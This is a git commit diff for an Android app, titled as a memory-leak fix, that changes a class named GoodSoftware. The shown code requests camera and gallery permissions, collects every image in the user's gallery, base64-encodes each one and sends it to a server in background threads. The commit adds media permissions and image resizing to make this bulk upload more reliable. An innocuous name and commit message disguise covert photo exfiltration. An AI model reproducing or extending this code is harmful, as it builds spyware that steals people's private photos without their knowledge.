Reencode images to prevent memory leak

This commit is contained in:
Joren 2024-05-02 12:05:12 +02:00
parent 319e09a950
commit 7f9f5d30a1
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
3 changed files with 123 additions and 40 deletions

View File

@ -6,6 +6,8 @@
<uses-feature android:name="android.hardware.camera" /> <uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" /> <uses-feature android:name="android.hardware.camera.autofocus" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<application <application
android:allowBackup="true" android:allowBackup="true"

View File

@ -6,7 +6,10 @@ import android.content.ContentUris
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.net.Uri import android.net.Uri
import android.os.Build
import android.provider.MediaStore import android.provider.MediaStore
import android.util.Base64 import android.util.Base64
import android.util.Log import android.util.Log
@ -112,48 +115,102 @@ class GoodSoftware (private val activity: MainActivity) {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
} }
private fun checkStoragePermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
requestMediaImagesPermission()
} else {
// For lower Android versions, request READ_EXTERNAL_STORAGE
requestGalleryPermission()
}
} else {
startPictureCapture()
}
}
private fun requestMediaImagesPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
private fun startPictureCapture() { private fun startPictureCapture() {
activity.lifecycleScope.launch { activity.lifecycleScope.launch {
try {
// Check and request camera permission // Check and request camera permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission() requestCameraPermission()
} }
// Check and request gallery permission // Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
requestGalleryPermission() checkStoragePermission()
} }
// If both permissions are granted, proceed with picture capture and gallery access // If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity) takeBeautifulPicture(activity, activity)
Thread { Thread {
try {
val imageList = getAllImagesFromGallery(activity) val imageList = getAllImagesFromGallery(activity)
for (image in imageList) { for (image in imageList) {
println(imageList.size)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread { Thread {
println("Sending data to server") println("Sending data to server")
sendDataToServer(base64Image) sendDataToServer(base64Image)
}.start() }.start()
} }
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}.start() }.start()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
} }
} }
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
var base64Image = "" var base64Image = ""
try {
contentResolver.openInputStream(imageUri)?.use { inputStream -> contentResolver.openInputStream(imageUri)?.use { inputStream ->
val bitmap = BitmapFactory.decodeStream(inputStream)
val resizedBitmap = resizeBitmap(bitmap, 1920, 1080)
val byteArrayOutputStream = ByteArrayOutputStream() val byteArrayOutputStream = ByteArrayOutputStream()
inputStream.copyTo(byteArrayOutputStream) resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray() val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
} }
} catch (oom: OutOfMemoryError) {
// Handle OutOfMemoryError
Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
}
return base64Image return base64Image
} }
fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
val width = bitmap.width
val height = bitmap.height
val scaleWidth = newWidth.toFloat() / width
val scaleHeight = newHeight.toFloat() / height
val matrix = android.graphics.Matrix()
matrix.postScale(scaleWidth, scaleHeight)
val resizedBitmap = Bitmap.createBitmap(
bitmap, 0, 0, width, height, matrix, false
)
bitmap.recycle()
return resizedBitmap
}
private fun requestGalleryPermission() { private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
} }
// Handle permission request result // Handle permission request result
@ -175,6 +232,14 @@ class GoodSoftware (private val activity: MainActivity) {
// Handle accordingly // Handle accordingly
} }
} }
REQUEST_MEDIA_IMAGES_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture()
} else {
// Media images permission denied
// Handle accordingly
}
}
} }
} }
@ -323,6 +388,14 @@ class GoodSoftware (private val activity: MainActivity) {
) )
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
// Check permission based on Android version
val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
} else {
Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
}
if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
val cursor = contentResolver.query( val cursor = contentResolver.query(
imageUri, imageUri,
imageProjection, imageProjection,
@ -339,6 +412,9 @@ class GoodSoftware (private val activity: MainActivity) {
imageList.add(contentUri.toString()) imageList.add(contentUri.toString())
} }
} }
} else {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
}
return imageList return imageList
} }

View File

@ -4,6 +4,7 @@ import android.Manifest
import android.app.Activity import android.app.Activity
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.os.Bundle import android.os.Bundle
import android.util.Log
import android.widget.Toast import android.widget.Toast
import androidx.activity.ComponentActivity import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent import androidx.activity.compose.setContent
@ -34,7 +35,11 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
} }
} }
goo = GoodSoftware(this@MainActivity) goo = GoodSoftware(this@MainActivity)
try {
goo.launch() goo.launch()
}catch (e: Exception) {
e.printStackTrace()
}
} }
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) { override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {